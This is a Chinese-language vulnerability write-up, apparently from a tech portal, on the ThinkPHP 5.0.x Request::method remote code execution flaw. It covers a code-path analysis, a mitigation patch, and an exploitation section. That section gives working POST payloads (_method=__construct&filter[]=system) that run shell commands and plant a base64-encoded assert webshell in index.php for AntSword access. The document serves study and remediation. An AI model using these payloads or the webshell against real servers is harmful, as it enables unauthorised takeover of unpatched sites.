您当前的位置:首页 > 电脑百科 > 程序开发 > 语言 > php

ThinkPHP5 5.0.23 远程代码执行漏洞

时间:2020-09-03 13:40:15  来源:  作者:

作者介绍:Ice

 

国科学院安全学员,在国科学习安全课程,也参与在国科学生会安全团队中进行安全实战能力的提升。本次分享主要是针对现在一款运用极广的开发框架Thinkphp的远程代码执行漏洞研究,希望给大家带来一些帮助。

 

0x00背景

ThinkPHP诞生于2006年,是一个国产开源的PHP开发框架,其借鉴了Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。ThinkPHP可在windowslinux等操作系统运行,支持MySQL,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

 

0x01影响范围

Thinkphp 5.0.0~ 5.0.23

 

0x02漏洞分析

 

此处漏洞出现在thinkphp用于处理HTTP请求的Request类中,其中源码存在一个method方法可以用于获取当前的请求类型。

Method方法路径:thinkphp/library/think/Request.php

ThinkPHP5 5.0.23 远程代码执行漏洞

 

IsGET、isPOST、isPUT等方法都调用了method方法来做请求类型的判断(只列出来这些,还有其他的,比如head请求、patch请求)

ThinkPHP5 5.0.23 远程代码执行漏洞

 

而在默认情况下,是有表单伪装变量的。

var_method为“表单伪装变量”,这个东西在Application/config.php里面定义

ThinkPHP5 5.0.23 远程代码执行漏洞

 

里面出现了:表单请求类型伪装变量,我上官方论坛看了一下,他是这样定义的

ThinkPHP5 5.0.23 远程代码执行漏洞

 

因为html里的form表单的method属性只支持get和post两种,由于源码没有进行任何过滤的措施,我们就可以利用控制_method参数来动态调用类中的任意方法,通过控制$_POST的值来向调用的方法传递参数

在默认情况下,该变量的值为“_method”

但是我们在method方法中,将表单伪装变量对该方法的变量进行覆盖,可以实现对该类的所有函数进行调用。

在request类中,分析一下_construct析构方法

ThinkPHP5 5.0.23 远程代码执行漏洞

 

我们看见,如果析构方法中属性不存在(142行),那么就会自己调用配置文件中的default_fileter的值(所以在thinkphp5.0.10版本中,可以构造这样的一个

payload——》s=ipconfig&_mehthod=__construct$method=&filter[]=system)

但是由于thinkphp5.0.23中进行了更新,在APP类中(路径thinkphp/ library/think/App.php)中进行更新,新增设置了filter的属性值,初始化了filter的属性值,所以上个版本的覆盖文件的默认值无法被利用。

ThinkPHP5 5.0.23 远程代码执行漏洞

 

而后,我们发现在request中的param方法也调用了method方法,他用于获取当前请求的参数,传入了默认值true

ThinkPHP5 5.0.23 远程代码执行漏洞

 

这个时候我们在返回去看_method方法

ThinkPHP5 5.0.23 远程代码执行漏洞

 

当传过来的值为true时,会利用到server方法,我们再看一下这个方法

ThinkPHP5 5.0.23 远程代码执行漏洞

 

由上可知,我们传过来的参数是REQUEST_METHOD,即name为REQUEST_METHOD,而后就会去调用input方法,我们跟踪一下input方法

ThinkPHP5 5.0.23 远程代码执行漏洞

 

我们在跟踪一下getFilter方法看看

ThinkPHP5 5.0.23 远程代码执行漏洞

 

很明显这个方法执行了图中画框的代码(不为空),$this->filter被赋值给了$filter,也就是请求中的filter参数

我们在返回input方法,解析过滤器之后,我们发现执行了判断$data是否为数组,如果不是数组就可以将每个值作为一个参数用filterValue进行过滤

ThinkPHP5 5.0.23 远程代码执行漏洞

 

我们发现sever方法中的,$this->server被赋予的是一个超全局变量,那么我们就可以在调用析构方法的时候,我们也可以对$this->server的值进行覆盖

ThinkPHP5 5.0.23 远程代码执行漏洞

 

在filterValue方法中,调用了call_user_func方法导致了代码执行

ThinkPHP5 5.0.23 远程代码执行漏洞

 

这时候发现在在App类中,找到一处调用了$request->param();

ThinkPHP5 5.0.23 远程代码执行漏洞

 

在调用param方法之前,进行了未设置调度信息则进行 URL 路由检测的功能。用routeCheck方法来设置$dispatch。然后用exec方法

ThinkPHP5 5.0.23 远程代码执行漏洞

 

$config变量是通过initCommon方法中的init方法初始化的

ThinkPHP5 5.0.23 远程代码执行漏洞

 


ThinkPHP5 5.0.23 远程代码执行漏洞

 

RouteCheck方法,加载config文件导入路由配置,然后通过Route::import加载路由

ThinkPHP5 5.0.23 远程代码执行漏洞

 

我们根据路由检测规则,$method给的值不同返回的结果也会不同

Router类中的check方法控制了check函数中的$item变量也就控制了check方法最终返回的值,同时也控制了App类中的调度信息$dispath,而$dispath在App类中的run方法中被exec方法调用

ThinkPHP5 5.0.23 远程代码执行漏洞

 

这里使用了switch语句判断$dispath['type']来执行相应的代码。

之前,我们需要调用Request类中的param方法来对filter变量的覆盖。

如果$dispath['type']是controller或者是method的时候可以直接调用param方法。

当我们让$dispath['type']=function的时候,调用了invokeFunction方法, invokeFunction方法调用了bindParams方法也对param方法进行了调用。

我们控制了url中的s参数的值可以设置不同的$method,让routeCheck返回$dispath。

我们将控制的url参数s的设置为captcha,并且设置post数据

所以此时可以构造payload:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

 

0x03漏洞危害等级

严重

 

0x04漏洞利用

1、 在网页上构造payload(可以利用burp,也可以在POST上传)

(1)查看目录下的文件(ls)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

ThinkPHP5 5.0.23 远程代码执行漏洞

 


ThinkPHP5 5.0.23 远程代码执行漏洞

 

(2)查看id

ThinkPHP5 5.0.23 远程代码执行漏洞

 


ThinkPHP5 5.0.23 远程代码执行漏洞

 

(3)查看当前目录

ThinkPHP5 5.0.23 远程代码执行漏洞

 


ThinkPHP5 5.0.23 远程代码执行漏洞

 

(4)查看ip等信息(由于环境搭建在ubuntu,要用到sudo命令,所以可能查不了)

 

(5)这时候我们还可以更改上述payload中的

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

将其改为phpinfo,发现是可以输出关于 PHP 配置的信息

ThinkPHP5 5.0.23 远程代码执行漏洞

 

2、 利用蚁剑工具getshell

为什么使用蚁剑工具?

由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功

我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式

利用 echo “<?php @eval($_POST[‘xss’]);?>” >index.php 进行测试

为了显示我们成功注入,我们在其中添加字段变为

echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php

对引号内的进行base64,注意此时的引号不需要进行加密

经过测试,发现eval函数是注入不了的,需要替换为arrest函数才可以成功注入

所以

Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php

ThinkPHP5 5.0.23 远程代码执行漏洞

 

最后构造出来的payload为

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php

ThinkPHP5 5.0.23 远程代码执行漏洞

 

成功回显出aaabbb,说明是加入到了index.php里了

开始用蚁剑,URL地址填写我们一句话木马的位置

注意要选择char16和base64

ThinkPHP5 5.0.23 远程代码执行漏洞

 

进入界面

ThinkPHP5 5.0.23 远程代码执行漏洞

 

上传测试数据

ThinkPHP5 5.0.23 远程代码执行漏洞

 


ThinkPHP5 5.0.23 远程代码执行漏洞

 

进入容器看看效果

ThinkPHP5 5.0.23 远程代码执行漏洞

 

发现是可以的!

 

0x05解决方法

自动:升级到最新版本(如果是在5.0.0——5.0.23之间的)

手动:

打开/thinkphp/library/think/Request.php文件,找到method方法(约496行),修改下面代码:

$this->method = strtoupper($_POST[Config::get('var_method')]);

$this->{$this->method}($_POST);

改为:

$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {

$this->method = $method;

$this->{$this->method}($_POST);} else {

$this->method = 'POST';}

unset($_POST[Config::get('var_method')]);

0x06 使用条件

ThinkPHP5 5.0.23 远程代码执行漏洞


Tags:ThinkPHP   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
大家好,我是小蜗牛,今天给大家分享一下,如何用ThinkPHP5.1.*版本实现定时任务,例如凌晨12点更新数据、每隔10秒检测过期会员、每隔几分钟发送请求保证ip的活性等本次分享,主要用...【详细内容】
2020-10-22  Tags: ThinkPHP  点击:(338)  评论:(0)  加入收藏
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,可以支持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及P...【详细内容】
2020-09-04  Tags: ThinkPHP  点击:(125)  评论:(0)  加入收藏
ThinkPHP诞生于2006年,是一个国产开源的PHP开发框架,其借鉴了Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及P...【详细内容】
2020-09-03  Tags: ThinkPHP  点击:(297)  评论:(0)  加入收藏
前言作为一个Web菜鸡,我之前和师傅们参加了红帽杯,奈何只有0输出,当时只知道是thinkphp5.2的反序列化漏洞,但是感觉时间不够了,也就没有继续做下去。只有赛后来查漏补缺了,也借...【详细内容】
2020-07-19  Tags: ThinkPHP  点击:(116)  评论:(0)  加入收藏
前言ThinkPhp是目前主流的一款php语言框架,但在使用中,也是产生了很多的高危漏洞。本文小编将从Thinkphp3说起,说明一些tp3框架的漏洞产生原理。使广大爱好者进一步深刻的理解...【详细内容】
2020-05-06  Tags: ThinkPHP  点击:(142)  评论:(0)  加入收藏
ThinkPHP5的环境要求如下:PHP >= 5.4.0PDO PHP ExtensionMBstring PHP ExtensionCURL PHP Extension严格来说,ThinkPHP无需安装过程,这里所说的安装其实就是把ThinkPHP框架放入...【详细内容】
2020-03-17  Tags: ThinkPHP  点击:(71)  评论:(0)  加入收藏
thinkphp6环境要求php >= 7.1.0,而且必须通过composer方式安装和更新,当然,上一篇教程我们已经安装好了,而且默认安装的php版本是php7.3.4,符合环境要求。那么什么是composer呢?co...【详细内容】
2020-03-15  Tags: ThinkPHP  点击:(149)  评论:(0)  加入收藏
首先介绍下在本文出现的几个比较重要的概念:函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计...【详细内容】
2020-03-09  Tags: ThinkPHP  点击:(61)  评论:(0)  加入收藏
ThinkPHP6正式发布已有一小段时间,按照官方文档实操了一遍。中间也遇到些小问题,在网上找解决方案花费了一些时间。本次分享整理了ThinkPHP6从头开始部署的详细操作步骤,希...【详细内容】
2020-01-06  Tags: ThinkPHP  点击:(379)  评论:(0)  加入收藏
Thinkphp是目前最主流的php轻量型框架之一,作为一个功能完备的php框架,它里面内置了许多的配置,通过修改这些系统的设置可以很方便的对thinkphp的一些内容进行修改,本文总结了一...【详细内容】
2019-11-27  Tags: ThinkPHP  点击:(72)  评论:(0)  加入收藏
▌简易百科推荐
序言:前段时间织梦因为版权的问题在网上闹得沸沸扬扬,也提醒了众多开发者选择cms上应该谨慎使用,今天给大家展示一款自己搭建的内容管理系统,不用担心版权的问题,而且非常容易维...【详细内容】
2021-11-30  小程序软件开发    Tags:管理系统   点击:(31)  评论:(0)  加入收藏
准备安装包(PHP: Hypertext Preprocessor)下载安装包以及组件wget https://www.php.net/distributions/php-8.0.0.tar.bz2wget https://github.com/phpredis/phpredis/archive...【详细内容】
2021-11-09  mimic96    Tags:PHP   点击:(40)  评论:(0)  加入收藏
golang context 很好用,就使用php实现了github地址 : https://github.com/qq1060656096/php-go-context context使用闭坑指南1. 将一个Context参数作为第一个参数传递给传入和...【详细内容】
2021-11-05  1060656096    Tags:PHP   点击:(40)  评论:(0)  加入收藏
一段数组为例:$list = array:4 [ 0 => array:7 [ "id" => 56 "mer_id" => 7 "order_id" => "wx163265961408769974" "is_postage" => 0 "store_name" => "奇...【详细内容】
2021-09-29  七七小影视    Tags:PHP   点击:(64)  评论:(0)  加入收藏
利用JS的CryptoJS 3.x和PHP的openssl_encrypt,openssl_decrypt实现AES对称加密解密,由于需要两种语言对同一字符串的操作,而CryptoJS 的默认加密方式为“aes-256-cbc”,PHP端也...【详细内容】
2021-09-16  李老师tome    Tags:对称加密   点击:(79)  评论:(0)  加入收藏
1、checkdate()验证格利高里日期即:日期是否存在。checkdate(month,day,year);month必需。一个从 1 到 12 的数字,规定月。day必需。一个从 1 到 31 的数字,规定日。year必需。...【详细内容】
2021-08-31  七七小影视    Tags:时间函数   点击:(80)  评论:(0)  加入收藏
对于各类开发语言来说,整数都有一个最大的位数,如果超过位数就无法显示或者操作了。其实,这也是一种精度越界之后产生的精度丢失问题。在我们的 PHP 代码中,最大的整数非常大,我...【详细内容】
2021-08-26  硬核项目经理    Tags:PHP   点击:(83)  评论:(0)  加入收藏
遵从所有教材以及各类数据结构相关的书书籍,我们先从线性表开始入门。今天这篇文章更偏概念,是关于有线性表的一个知识点的汇总。上文说过,物理结构是用于确定数据以何种方式存...【详细内容】
2021-07-19  硬核项目经理    Tags:线性表   点击:(94)  评论:(0)  加入收藏
一、开启IIS全部功能。二、部署PHP1.官网下载并解压PHP: https://windows.php.net/downloads/releases/2.将php.ini-development文件改为php.ini3.修改php.ini(1)去掉注释,并修...【详细内容】
2021-07-15  炘蓝火诗  今日头条  Tags:PHP环境   点击:(128)  评论:(0)  加入收藏
一、环境说明本文中使用本地VM虚机部署测试。OS:CentOS Linux release 7.8.2003 (Core)虚机配置:2核CPU、4G内存①系统为CentOS 7.8 x64最小化安装,部署前已完成系统初始化、...【详细内容】
2021-06-25  IT运维笔记  今日头条  Tags:PHP8.0.7   点击:(141)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条